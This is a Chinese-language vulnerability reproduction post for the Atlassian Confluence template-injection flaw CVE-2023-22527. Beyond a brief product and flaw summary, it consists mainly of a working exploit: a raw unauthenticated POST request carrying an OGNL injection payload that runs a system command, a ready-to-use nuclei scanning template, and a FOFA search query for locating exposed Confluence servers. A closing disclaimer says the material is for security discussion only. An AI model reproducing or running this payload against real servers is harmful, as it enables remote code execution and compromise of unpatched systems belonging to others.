【漏洞复现】Atlassian Confluence RCE(CVE-2023-22527)

产品简介

Atlassian Confluence 是一款由Atlassian开发的企业团队协作和知识管理软件，提供了一个集中化的平台，用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。是面向大型企业和组织的高可用性、可扩展性和高性能版本。

0x02 漏洞概述

Atlassian Confluence /template/aui/text-inline.vm接口处存在velocity模板注入，未经身份验证的攻击者可利用此漏洞构造恶意请求远程代码执行，可导致服务器失陷。

0x04 漏洞复现

漏洞POC

1. POST /template/aui/text-inline.vm HTTP/1.1
2. Host: 192.168.0.70:8090
3. Accept-Encoding: gzip, deflate, br
4. Accept: */*
5. Accept-Language: en-US;q=0.9,en;q=0.8
6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
7. Connection: close
8. Content-Type: application/x-www-form-urlencoded
10. label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

nuclei POC

1. id: AtlassianConfluenceRCE-CVE-2023-22527
3. info:
4. name: CVE-2023-22527
5. author: xxx
6. severity: info
7. description: description
8. reference:
9. - https://wiki.agora.ru/
10. metadata:
11. fofa-query: app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
12. tags: confluence
14. requests:
15. - raw:
16. - "POST /template/aui/text-inline.vm HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding:\
17. \ gzip, deflate\nAccept: */*\nAccept-Language: en-US;q=0.9,en;q=0.8\nUser-Agent:\
18. \ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like\
19. \ Gecko) Chrome/119.0.6045.159 Safari/537.36\nConnection: close\nContent-Type:\
20. \ application/x-www-form-urlencoded\nContent-Length: 288\n\nlabel=\\u0027%2b#request\\\
21. u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet(\\u0027ognl\\\
22. u0027).findValue(#parameters.x,{})%2b\\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new\
23. \ freemarker.template.utility.Execute()).exec({\"id\"})) "
25. matchers-condition: and
26. matchers:
27. - type: dsl
28. dsl:
29. - contains(all_headers,"X-Cmd-Response") && status_code==200  

申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。